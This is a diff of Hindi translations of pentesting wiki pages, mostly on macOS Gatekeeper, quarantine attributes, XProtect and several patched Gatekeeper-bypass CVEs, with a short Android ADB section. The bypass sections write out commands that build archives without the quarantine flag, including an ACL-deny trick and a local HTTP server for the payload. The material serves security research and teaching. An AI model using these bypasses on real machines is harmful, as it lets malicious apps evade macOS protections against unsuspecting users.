यदि सॉफ़्टवेयर इस निरीक्षण को बिना किसी चिंता के पास कर लेता है, तो Notary Service एक नोटरीकरण टिकट उत्पन्न करती है। डेवलपर को फिर **इस टिकट को अपने सॉफ़्टवेयर से संलग्न करना** आवश्यक है, जिसे 'स्टेपलिंग' के रूप में जाना जाता है। इसके अलावा, नोटरीकरण टिकट को ऑनलाइन भी प्रकाशित किया जाता है जहाँ Gatekeeper, Apple's सुरक्षा तकनीक, इसे एक्सेस कर सकत है।
यदि सॉफ़्टवेयर इस निरीक्षण को बिना किसी चिंता के **पास** करता है, तो Notary Service एक नोटरीकरण टिकट उत्पन्न करती है। डेवलपर को फिर **इस टिकट को अपने सॉफ़्टवेयर से संलग्न करना** आवश्यक है, जिसे 'स्टेपलिंग' के रूप में जाना जाता है। इसके अलावा, नोटरीकरण टिकट को ऑनलाइन भी प्रकाशित किया जाता है जहाँ Gatekeeper, Apple's सुरक्षा तकनीक, इसे एक्सेस कर सकत है।
उपयोगकर्ता द्वारा सॉफ़्टवेयर की पहली स्थापना या निष्पादन पर, नोटरीकरण टिकट की उपस्थिति - चाहे वह निष्पादन योग्य के साथ स्टेपल किया गया हो या ऑनलाइन पाया गया हो - **Gatekeeper को सूचित करती है कि सॉफ़्टवेयर को Apple द्वारा नोटरीकरण किया गया है**। परिणामस्वरूप, Gatekeeper प्रारंभिक लॉन्च संवाद में एक वर्णनात्मक संदेश प्रदर्शित करता है, जो यह दर्शाता है कि सॉफ़्टवेयर को Apple द्वारा दुष्ट सामग्री के लिए जांचा गया है। यह प्रक्रिया उपयोगकर्ताओं के लिए उस सॉफ़्टवेयर की सुरक्षा में विश्वास को बढ़ाती है जिसे वे अपने सिस्टम पर स्थापित या चलाते हैं
उपयोगकर्ता के पहले इंस्टॉलेशन या सॉफ़्टवेयर के निष्पादन पर, नोटरीकरण टिकट की उपस्थिति - चाहे वह निष्पादन योग्य के साथ स्टेपल किया गया हो या ऑनलाइन पाया गया हो - **Gatekeeper को सूचित करती है कि सॉफ़्टवेयर को Apple द्वारा नोटरीकरण किया गया है**। परिणामस्वरूप, Gatekeeper प्रारंभिक लॉन्च संवाद में एक वर्णनात्मक संदेश प्रदर्शित करता है, जो यह दर्शाता है कि सॉफ़्टवेयर को Apple द्वारा दुष्ट सामग्री के लिए जांचा गया है। यह प्रक्रिया उपयोगकर्ताओं के लिए उनके िस्टम पर इंस्टॉल या चलाए गए सॉफ़्टवेयर की सुरक्षा में विश्वास को बढ़ाती है।
### spctl & syspolicyd
@ -64,13 +64,13 @@ spctl --status
> [!CAUTION]
> ध्यान दें कि GateKeeper सिग्नेचर जांच केवल **Quarantine विशेषता वाले फ़ाइलों** के लिए की जाती है, न कि हर फ़ाइल के लिए।
GateKeeper यह जांचेगा कि **प्राथमिकताएँ और सिग्नेचर** के अनुसार एक बाइनरी को निष्पादित किया जा सकता है:
GateKeeper यह जांचेगा कि **preferences & the signature** के अनुसार एक बाइनरी को निष्पादित किया जा सकता है:
<figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure>
**`syspolicyd`** मुख्य डेमन है जो Gatekeeper को लागू करने के लिए जिम्मेदार है। यह `/var/db/SystemPolicy` में स्थित एक डेटाबेस बनाए रखता है और [डेटाबेस के लिए कोड यहाँ](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) और [SQL टेम्पलेट यहाँ](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql) पाया जा सकता है। ध्यान दें कि डेटाबेस SIP द्वारा अनियंत्रित है और इसे रूट द्वारा लिखा जा सकता है और डेटाबेस `/var/db/.SystemPolicy-default`ा उपयग एक मूल बैकअप के रूप में किया जाता है यदि अन्य भ्रष्ट हो जाता है।
**`syspolicyd`** मुख्य डेमन है जो Gatekeeper को लागू करने के लिए जिम्मेदार है। यह `/var/db/SystemPolicy` में स्थित एक डेटाबेस बनाए रखता है और [डेटाबेस का समर्थन करने के लिए कोड यहाँ](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) और [SQL टेम्पलेट यहाँ](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql) पाया जा सकता है। ध्यान दें कि डेटाबेस SIP द्वारा अनियंत्रित है और इसे रूट द्वारा लिखा जा सकता है और डेटाबेस `/var/db/.SystemPolicy-default` को बैकअप के रूप में उपयोग किया जाता है यदि अन्य भ्रष्ट हो जाता है।
इसके अलावा, बंडल **`/var/db/gke.bundle`** और **`/var/db/gkopaque.bundle`** में नियमों के साथ फ़ाइलें होती हैं जो डेटाबेस में डाली जाती हैं। आप इसे रूट के रूप में इस प्रकार जांच सकते हैं:
इसके अलावा, बंडल **`/var/db/gke.bundle`** और **`/var/db/gkopaque.bundle`** में नियमों के साथ फ़ाइलें होती हैं जो डेटाबेस में डाली जाती हैं। आप इसे रूट के रूप में जांच सकते हैं:
```bash
# Open database
sqlite3 /var/db/SystemPolicy
@ -98,7 +98,7 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
```
ये हैश हैं जो निम्नलिखित से हैं:
ये हैश हैं जो कि निम्नलिखित से हैं:
- `/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`
- `/var/db/gke.bundle/Contents/Resources/gk.db`
@ -118,7 +118,7 @@ spctl --master-disable
spctl --global-enable
spctl --master-enable
```
जब पूरी तरह से सक्षम किया जाता है, तो एक नया विकल्प दिखाई देगा:
जब पूरी तरह से सक्षम किया जाता है, तो एक नया विकल्प प्रकट होगा:
<figure><img src="../../../images/image (1151).png" alt=""><figcaption></figcaption></figure>
@ -145,7 +145,7 @@ Regarding **kernel extensions**, the folder `/var/db/SystemPolicyConfiguration`
#### Managing Gatekeeper on macOS 15 (Sequoia) and later
Starting in macOS 15 Sequoia, end users can no longer toggle Gatekeeper policy from `spctl`. Management is performed via System Settings or by deploying an MDM configuration profile with the `com.apple.systempolicy.control` payload. Example profile snippet to allow App Store and identified developers (but not "Anywhere"):
macOS 15 Sequoia में, अंतिम उपयोगकर्ता अब `spctl` से Gatekeeper नीति को टॉगल नहीं कर सकते। प्रबंधन सिस्टम सेटिंग्स के माध्यम से या `com.apple.systempolicy.control` पेलोड के साथ MDM कॉन्फ़िगरेशन प्रोफ़ाइल को तैनात करके किया जाता है। App Store और पहचाने गए डेवलपर्स (लेकिन "कहीं भी" नहीं) की अनुमति देने के लिए उदाहरण प्रोफ़ाइल स्निपेट:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -181,7 +181,7 @@ Starting in macOS 15 Sequoia, end users can no longer toggle Gatekeeper policy f
```
### Quarantine Files
जब **एक एप्लिकेशन** या फ़ाइल **डाउनलोड** की जाती है, तो विशिष्ट macOS **एप्लिकेशन** जैसे वेब ब्राउज़र या ईमेल क्लाइंट **एक विस्तारित फ़ाइल विशेषता** जोड़ते हैं, जिसे सामान्यतः "**क्वारंटाइन फ्लैग**" के रूप में जाना जाता है, डाउनलोड की गई फ़ाइल पर। यह विशेषता सुरक्षा उपाय के रूप में कार्य करती है ताकि **फ़ाइल को चिह्नित किया जा सके** कि यह एक अविश्वसनीय स्रोत (इंटरनेट) से आई है, और संभावित रूप से जोखिम ले जा सकती है। हालाँकि, सभी एप्लिकेशन इस विशेषता को नहीं जोड़ते हैं, उदाहरण के लिए, सामान्य BitTorrent क्लाइंट सॉफ़्टवेयर आमतौर पर इस प्रक्रिया को बायपास करता है।
जब **एक एप्लिकेशन** या फ़ाइल **डाउनलोड** की जाती है, तो विशिष्ट macOS **एप्लिकेशन** जैसे वेब ब्राउज़र या ईमेल क्लाइंट **एक विस्तारित फ़ाइल विशेषता** जोड़ते हैं, जिसे सामान्यतः "**क्वारंटाइन फ्लैग**" के रूप में जाना जाता है, डाउनलोड की गई फ़ाइल पर। यह विशेषता सुरक्षा उपाय के रूप में कार्य करती है ताकि फ़ाइल को एक अविश्वसनीय स्रोत (इंटरनेट) से आने के रूप में **चिन्हित** किया जा सके, और संभावित रूप से जोखिम उठाने वाली हो। हालाँकि, सभी एप्लिकेशन इस विशेषता को नहीं जोड़ते हैं, उदाहरण के लिए, सामान्य BitTorrent क्लाइंट सॉफ़्टवेयर आमतौर पर इस प्रक्रिया को बायपास करता है।
**क्वारंटाइन फ्लैग की उपस्थिति macOS के गेटकीपर सुरक्षा फीचर को संकेत देती है जब एक उपयोगकर्ता फ़ाइल को निष्पादित करने का प्रयास करता है**।
@ -305,33 +305,33 @@ find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
```bash
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
```
Quarantine information is also stored in a central database managed by LaunchServices in **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** which allows the GUI to obtain data about the file origins. Moreover this can be overwritten by applications which might be interested in hiding its origins. Moreover, this can be done from LaunchServices APIS.
Quarantine जानकारी भी एक केंद्रीय डेटाबेस में संग्रहीत होती है जिसे LaunchServices द्वारा प्रबंधित किया जाता है **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** जो GUI को फ़ाइल के मूल के बारे में डेटा प्राप्त करने की अनुमति देता है। इसके अलावा, इसे उन अनुप्रयोगों द्वारा अधिलेखित किया जा सकता है जो इसके मूल को छिपाने में रुचि रखते हैं। इसके अलावा, यह LaunchServices APIS से किया जा सकता है।
#### **libquarantine.dylib**
यह पुस्तकालय कई कार्यों को निर्यात करता है जो विस्तारित विशेषता क्षेत्रों को संशोधित करने की अनुमति देते हैं।
यह पुस्तकालय कई कार्यों को निर्यात करता है जो विस्तारित विशेषता फ़ील्ड को संशोधित करने की अनुमति देते हैं।
The `qtn_file_*` APIs deal with file quarantine policies, the `qtn_proc_*` APIs are applied to processes (files created by the process). The unexported `__qtn_syscall_quarantine*` functions are the ones that applies the policies which calls `mac_syscall` with "Quarantine" as first argument which sends the requests to `Quarantine.kext`.
`qtn_file_*` APIs फ़ाइल क्वारंटाइन नीतियों से संबंधित हैं, `qtn_proc_*` APIs प्रक्रियाओं (प्रक्रिया द्वारा बनाई गई फ़ाइलें) पर लागू होते हैं। निर्यात न किए गए `__qtn_syscall_quarantine*` कार्य वे हैं जो नीतियों को लागू करते हैं जो `mac_syscall` को "Quarantine" के पहले तर्क के रूप में कॉल करते हैं जो अनुरोधों को `Quarantine.kext` पर भेजता है।
#### **Quarantine.kext**
The kernel extension is only available through the **kernel cache on the system**; however, you _can_ download the **Kernel Debug Kit from** [**https://developer.apple.com/**](https://developer.apple.com/), which will contain a symbolicated version of the extension.
कर्नेल एक्सटेंशन केवल **सिस्टम पर कर्नेल कैश** के माध्यम से उपलब्ध है; हालाँकि, आप **Kernel Debug Kit डाउनलोड कर सकते हैं** [**https://developer.apple.com/**](https://developer.apple.com/), जिसमें एक्सटेंशन का एक प्रतीकात्मक संस्करण होगा।
This Kext will hook via MACF several calls in order to traps all file lifecycle events: Creation, opening, renaming, hard-linkning... even `setxattr` to prevent it from setting the `com.apple.quarantine` extended attribute.
यह Kext MACF के माध्यम से कई कॉल को हुक करेगा ताकि सभी फ़ाइल जीवनचक्र घटनाओं को ट्रैप किया जा सके: निर्माण, खोलना, नाम बदलना, हार्ड-लिंकिंग... यहां तक कि `setxattr` को `com.apple.quarantine` विस्तारित विशेषता सेट करने से रोकने के लिए।
It also uses a couple of MIBs:
यह कुछ MIBs का भी उपयोग करता है:
- `security.mac.qtn.sandbox_enforce`: Enforce quarantine along Sandbox
- `security.mac.qtn.user_approved_exec`: Querantined procs can only execute approved files
- `security.mac.qtn.sandbox_enforce`: सैंडबॉक्स के साथ क्वारंटाइन को लागू करें
- `security.mac.qtn.user_approved_exec`: क्वारंटाइन की गई प्रक्रियाएँ केवल अनुमोदित फ़ाइलें चला सकती हैं
#### Provenance xattr (Ventura and later)
#### Provenance xattr (Ventura और बाद में)
macOS 13 Ventura ने एक अलग उत्पत्ति तंत्र पेश किया जो पहली बार तब भरा जाता है जब एक क्वारंटाइन किया गया ऐप चलाने की अनुमति दी जाती है। दो कलाकृतियाँ बनाई जाती हैं:
macOS 13 Ventura ने एक अलग प्रावेंस तंत्र पेश किया जो पहली बार तब भरा जाता है जब एक क्वारंटाइन किया गया ऐप चलाने की अनुमति दी जाती है। दो कलाकृतियाँ बनाई जाती हैं:
- The `com.apple.provenance` xattr on the `.app` bundle directory (fixed-size binary value containing a primary key and flags).
- A row in the `provenance_tracking` table inside the ExecPolicy database at `/var/db/SystemPolicyConfiguration/ExecPolicy/` storing the apps cdhash and metadata.
- `.app` बंडल निर्देशिका पर `com.apple.provenance` xattr (एक प्राथमिक कुंजी और ध्वजों वाला निश्चित आकार का बाइनरी मान)।
- `/var/db/SystemPolicyConfiguration/ExecPolicy/` में ExecPolicy डेटाबेस के अंदर `provenance_tracking` तालिका में ऐप का cdhash और मेटाडेटा संग्रहीत करने के लिए एक पंक्ति।
Practical usage:
व्यावहारिक उपयोग:
```bash
# Inspect provenance xattr (if present)
xattr -p com.apple.provenance /Applications/Some.app | hexdump -C
@ -354,7 +354,7 @@ XProtect डेटाबेस को **नियमित रूप से** Ap
```bash
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
```
XProtect **/Library/Apple/System/Library/CoreServices/XProtect.bundle** पर स्थित है और बंडल के अंदर आप जानकारी पा सकते हैं जिसका उपय XProtect करता है:
XProtect **/Library/Apple/System/Library/CoreServices/XProtect.bundle** पर स्थित है और बंडल के अंदर आप जानकारी पा सकते हैं जो XProtect उपयोग करता है:
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: उन cdhashes के साथ कोड को विरासत के अधिकारों का उपयोग करने की अनुमति देता है।
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: प्लगइन्स और एक्सटेंशनों की सूची जो BundleID और TeamID के माध्यम से लोड करने की अनुमति नहीं है या न्यूनतम संस्करण को इंगित करती है।
@ -372,15 +372,15 @@ XProtect **/Library/Apple/System/Library/CoreServices/XProtect.bundle** पर
### Not Gatekeeper
> [!CAUTION]
> ध्यान दें कि Gatekeeper **हर बार** जब आप एक एप्लिकेशन चलाते हैं, तब **नहीं** चलाया जाता है, केवल _**AppleMobileFileIntegrity**_ (AMFI) केवल **कार्यकारी कोड हस्ताक्षर** की पुष्टि करेगा जब आप एक ऐप चलाते हैं जिसे पहले Gatekeeper द्वारा चलाया और सत्यापित किया गया है।
> ध्यान दें कि Gatekeeper **हर बार** जब आप एक अनुप्रयोग चलाते हैं, तब **नहीं चलाया जाता**, केवल _**AppleMobileFileIntegrity**_ (AMFI) केवल **कार्यकारी कोड हस्ताक्षर** की पुष्टि करेगा जब आप एक ऐप चलाते हैं जिसे पहले Gatekeeper द्वारा चलाया और सत्यापित किया गया है।
इसलिए, पहले यह संभव था कि एक ऐप को Gatekeeper के साथ कैश करने के लिए चलाया जाए, फिर **अनुप्रयोग के गैर-कार्यकारी फ़ाइलों को संशोधित करें** (जैसे Electron asar या NIB फ़ाइलें) और यदि कोई अन्य सुरक्षा उपाय नहीं थे, तो अनुप्रयोग **कार्यकारी** के साथ **दुष्ट** परिवर्धनों के साथ **चलाया** जाता था।
हालांकि, अब यह संभव नहीं है क्योंकि macOS **अनुप्रयोग बंडलों के अंदर फ़ाइलों को संशोधित करने से रोकता है**। इसलिए, यदि आप [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) हमले का प्रयास करते हैं, तो आप पाएंगे कि इसे दुरुपयोग करना अब संभव नहीं है क्योंकि Gatekeeper के साथ इसे कैश करने के लिए ऐप को चलाने के बाद, आप बंडल को संशोधित नहीं कर पाएंगे। और यदि आप उदाहरण के लिए Contents निर्देशिका का नाम NotCon में बदलते हैं (जैसा कि शोषण में संकेत दिया गया है), और फिर ऐप के मुख्य बाइनरी को Gatekeeper के साथ कैश करने के लिए चलाते हैं, तो यह एक त्रुटि को ट्रिगर करेगा और नहीं चलेगा।
हालांकि, अब यह संभव नहीं है क्योंकि macOS **अनुप्रयोग बंडलों के अंदर फ़ाइलों को संशोधित करने से रोकता है**। इसलिए, यदि आप [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) हमले का प्रयास करते हैं, तो आप पाएंगे कि इसे दुरुपयोग करना अब संभव नहीं है क्योंकि Gatekeeper के साथ इसे कैश करने के लिए ऐप को चलाने के बाद, आप बंडल को संशोधित नहीं कर पाएंगे। और यदि आप उदाहरण के लिए Contents निर्देशिका का नाम NotCon में बदलते हैं (जैसा कि शोषण में संकेतित है), और फिर ऐप के मुख्य बाइनरी को Gatekeeper के साथ कैश करने के लिए चलाते हैं, तो यह एक त्रुटि उत्पन्न करेगा और नहीं चलेगा।
## Gatekeeper Bypasses
Gatekeeper को बायपास करने का कोई भी तरीका (उपयोगकर्ता को कुछ डाउनलोड करने और उसे चलाने के लिए मजबूर करना जब Gatekeeper इसे अस्वीकार करना चाहिए) macOS में एक भेद्यता माना जाता है। ये कुछ CVEs हैं जो तकनीकों को असाइन किए गए हैं जिन्होंने अतीत में Gatekeeper को बायपास करने की अनुमति दी:
Gatekeeper को बायपास करने का कोई भी तरीका (उपयोगकर्ता को कुछ डाउनलोड करने और उसे चलाने के लिए मजबूर करना जब Gatekeeper इसे अस्वीकार करना चाहिए) macOS में एक भेद्यता माना जाता है। ये कुछ CVEs हैं जो तकनीकों को सौंपे गए हैं जिन्होंने अतीत में Gatekeeper को बायपास करने की अनुमति दी:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
@ -390,17 +390,17 @@ Gatekeeper को बायपास करने का कोई भी तर
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
जब एक एप्लिकेशन **Automator** के साथ बनाया जाता है, तो इसे निष्पादित करने के लिए आवश्यक जानकारी `application.app/Contents/document.wflow` के अंदर होती है, न कि कार्यकारी में। कार्यकारी केवल एक सामान्य Automator बाइनरी है जिसे **Automator Application Stub** कहा जाता है।
जब एक अनुप्रयोग **Automator** के साथ बनाया जाता है, तो इसे निष्पादित करने के लिए आवश्यक जानकारी `application.app/Contents/document.wflow` के अंदर होती है, न कि कार्यकारी में। कार्यकारी केवल एक सामान्य Automator बाइनरी है जिसे **Automator Application Stub** कहा जाता है।
इसलिए, आप `application.app/Contents/MacOS/Automator\ Application\ Stub` को **सिस्टम के अंदर एक अन्य Automator Application Stub की ओर एक प्रतीकात्मक लिंक के साथ इंगित कर सकते हैं** और यह `document.wflow` (आपका स्क्रिप्ट) के अंदर जो है उसे **बिना Gatekeeper को ट्रिगर किए निष्पादित करेगा** क्योंकि वास्तविक कार्यकारी में क्वारंटाइन xattr नहीं है।
इसलिए, आप `application.app/Contents/MacOS/Automator\ Application\ Stub` को **सिस्टम के अंदर एक अन्य Automator Application Stub की ओर एक प्रतीकात्मक लिंक के साथ इंगित कर सकते हैं** और यह `document.wflow` (आपका स्क्रिप्ट) के अंदर जो है उसे **Gatekeeper को ट्रिगर किए बिना चलाएगा** क्योंकि वास्तविक कार्यकारी में क्वारंटाइन xattr नहीं है।
उदाहरण के लिए अपेक्षित स्थान: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
उदाहरण अपेक्षित स्थान: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://ronmasas.com/posts/bypass-macos-gatekeeper) की जांच करें।
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
इस बायपास में एक ज़िप फ़ाइल बनाई गई थी जिसमें एक एप्लिकेशन `application.app/Contents` से संकुचन शुरू कर रहा था न कि `application.app` से। इसलिए, **क्वारंटाइन विशेषता** सभी **फाइलों पर लागू की गई थी `application.app/Contents`** लेकिन **`application.app` पर नहीं**, जिसे Gatekeeper चेक कर रहा था, इसलिए Gatekeeper को बायपास किया गया क्योंकि जब `application.app` को ट्रिगर किया गया तो **इसमें क्वारंटाइन विशेषता नहीं थी।**
इस बायपास में एक ज़िप फ़ाइल बनाई गई थी जिसमें एक अनुप्रयोग `application.app/Contents` से संकुचन शुरू कर रहा था न कि `application.app` से। इसलिए, **क्वारंटाइन विशेषता** सभी **फाइलों पर लागू की गई थी `application.app/Contents`** लेकिन **`application.app` पर नहीं**, जिसे Gatekeeper जांच रहा था, इसलिए Gatekeeper को बायपास किया गया क्योंकि जब `application.app` को ट्रिगर किया गया तो **इसमें क्वारंटाइन विशेषता नहीं थी।**
```bash
zip -r test.app/Contents test.zip
```
@ -408,7 +408,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
यहां तक कि यदि घटक भिन्न हैं, तो इस सुरक्षा कमजोरी का शोषण पिछले वाले के समान है। इस मामले में, हम **`application.app/Contents`** से एक Apple Archive बनाएंगे ताकि **`application.app`** को **Archive Utility** द्वारा डिकंप्रेस करते समय क्वारंटाइन विशेषता न मिले।
हालाँकि घटक भिन्न हैं, इस सुरक्षा कमजोरी का शोषण पिछले वाले के समान है। इस मामले में, हम **`application.app/Contents`** से एक Apple Archive बनाएंगे ताकि **`application.app`** को **Archive Utility** द्वारा डिकंप्रेस करते समय क्वारंटाइन विशेषता न मिले।
```bash
aa archive -d test.app/Contents -o test.app.aar
```
@ -425,7 +425,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
इसके अलावा, **AppleDouble** फ़ाइल प्रारूप एक फ़ाइल को उसके ACEs सहित कॉपी करता है।
[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में यह देखना संभव है कि xattr के अंदर संग्रहीत ACL पाठ प्रतिनिधित्व जिसे **`com.apple.acl.text`** कहा जाता है, को डिकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक एप्लिकेशन को **AppleDouble** फ़ाइल प्रारूप में एक ज़िप फ़ाइल में संकुचित किया है जिसमें एक ACL है जो अन्य xattrs को इसमें लिखने से रोकत है... तो क्वारंटाइन xattr एप्लिकेशन में सेट नहीं किया गया था:
[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में यह देखना संभव है कि xattr के अंदर संग्रहीत ACL पाठ प्रतिनिधित्व जिसे **`com.apple.acl.text`** कहा जाता है, को डिकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक एप्लिकेशन को **AppleDouble** फ़ाइल प्रारूप में एक ज़िप फ़ाइल में संकुचित किया है जिसमें एक ACL है जो अन्य xattrs को इसमें लिखने से रोकत है... तो क्वारंटाइन xattr एप्लिकेशन में सेट नहीं किया गया था:
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
@ -434,7 +434,7 @@ python3 -m http.server
```
Check the [**original report**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) for more information.
Note that this could also be exploited with AppleArchives:
Note that this could also be be exploited with AppleArchives:
```bash
mkdir app
touch app/test
@ -457,7 +457,7 @@ aa archive -d test/ -o test.aar
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
```
एक फ़ाइल बनाने में सक्षम होना जिसमें क्वारंटाइन विशेषता सेट नहीं होगी, यह **गेटकीपर को बायपास करना संभव था।** चाल यह थी कि **एप्पलडबल नाम सम्मेलन** का उपयोग करके एक **DMG फ़ाइल एप्लिकेशन** बनाना (इसे `._` से शुरू करना) और इस छिपी हुई फ़ाइल के लिए एक **दृश्यमान फ़ाइल के रूप में सिम लिंक बनाना** जिसमें क्वारंटाइन विशेषता नहीं हो।\
एक फ़ाइल बनाने में सक्षम होना जिसमें क्वारंटाइन विशेषता सेट नहीं होगी, यह **गेटकीपर को बायपास करना संभव था।** चाल यह थी कि **एप्पलडबल नाम सम्मेलन** का उपयोग करके एक **DMG फ़ाइल एप्लिकेशन** बनाना (इसे `._` से शुरू करना) और इस छिपी हुई फ़ाइल के लिए एक **दृश्यमान फ़ाइल के रूप में एक सिम लिंक बनाना** जिसमें क्वारंटाइन विशेषता नहीं हो।\
जब **dmg फ़ाइल को निष्पादित किया जाता है**, क्योंकि इसमें क्वारंटाइन विशेषता नहीं होती, यह **गेटकीपर को बायपास कर देगी।**
```bash
# Create an app bundle with the backdoor an call it app.app
@ -476,7 +476,7 @@ aa archive -d s/ -o app.aar
```
### [CVE-2023-41067]
macOS Sonoma 14.0 में एक Gatekeeper बायपास को ठीक किया गया, जिसने तैयार किए गए ऐप्स को बिना प्रम्प्ट के चलाने की अनुमति दी। पैचिंग के बाद विवरण सार्वजनिक रूप से प्रकट किए गए और समस्या को ठीक करने से पहले इसे सक्रिय रूप से शोषण किया गया। सुनिश्चित करें कि Sonoma 14.0 या बाद का संस्करण स्थापित है।
macOS Sonoma 14.0 में एक Gatekeeper बायपास को ठीक किया गया, जिसने तैयार किए गए ऐप्स को बिना प्रम्प्ट के चलाने की अनुमति दी। विवरण पैचिंग के बाद सार्वजनिक रूप से प्रकट किए गए और समस्या को ठीक करने से पहले सक्रिय रूप से शोषण किया गया। सुनिश्चित करें कि Sonoma 14.0 या बाद का संस्करण स्थापित है।
### [CVE-2024-27853]
@ -484,7 +484,7 @@ macOS 14.4 (मार्च 2024 में जारी) में एक Gateke
### तृतीय-पक्ष अनार्काइवर्स द्वारा क्वारंटाइन का गलत प्रचार (20232024)
लोकप्रिय निष्कर्षण उपकरणों (जैसे, The Unarchiver) में कई कमजोरियों के कारण आर्काइव से निकाले गए फ़ाइलों में `com.apple.quarantine` xattr नहीं होता, जिससे Gatekeeper बायपास के अवसर मिलते हैं। परीक्षण करते समय हमेशा macOS Archive Utility या पैच किए गए उपकरणों पर भरोसा करें, और निष्कर्षण के बाद xattrs को मान्य करें।
लोकप्रिय निष्कर्षण उपकरणों (जैसे, The Unarchiver) में कई कमजोरियों के कारण आर्काइव से निकाले गए फ़ाइलों में `com.apple.quarantine` xattr गायब हो गया, जिससे Gatekeeper बायपास के अवसरों को सक्षम किया गया। परीक्षण करते समय हमेशा macOS Archive Utility या पैच किए गए उपकरणों पर भरोसा करें, और निष्कर्षण के बाद xattrs को मान्य करें।
### uchg (इस [बातचीत](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf) से)

View File

@ -12,7 +12,7 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
यह मुख्य उपकरण है जिसकी आपको एक एंड्रॉइड डिवाइस (अनुकरणीय या भौतिक) से कनेक्ट करने की आवश्यकता है।\
यह मुख्य उपकरण है जिसकी आपको एक Android डिवाइस (अनुकरणीय या भौतिक) से कनेक्ट करने की आवश्यकता है।\
**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, ऐप्स की **स्थापना** और **अनइंस्टॉलेशन**, **शेल कमांड्स** का **निष्पादन**, **डेटा का बैकअप**, **लॉग्स का पढ़ना**, और अन्य कार्यों को सक्षम बनाती है।
ADB का उपयोग कैसे करें, यह जानने के लिए [**ADB Commands**](adb-commands.md) की निम्नलिखित सूची पर एक नज़र डालें।
@ -61,7 +61,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## स्थैतिक विश्लेषण
सबसे पहले, एक APK का विश्लेषण करने के लिए आपको **Java कोड पर नज़र डालनी चाहिए** एक डिकंपाइलर का उपयोग करके।\
कृपया, [**विभिन्न उपलब्ध डिकंपाइलरों के बारे में जानकारी के लिए यहाँ पढ़ें**](apk-decompilers.md)
कृपया, [**विभिन्न उपलब्ध डिकंपाइलरों के बारे में जानकारी के लिए यहाँ पढ़ें**](apk-decompilers.md).
### दिलचस्प जानकारी की तलाश
@ -69,7 +69,7 @@ APK के **strings** पर नज़र डालकर आप **पासव
**Firebase**
**फायरबेस URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहाँ FIrebase के बारे में और जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
**Firebase URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहाँ Firebase के बारे में अधिक जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### एप्लिकेशन की मूल समझ - Manifest.xml, strings.xml
@ -77,19 +77,19 @@ APK के **strings** पर नज़र डालकर आप **पासव
**Manifest.xml** से पहचानी गई **कमजोरियाँ** में शामिल हैं:
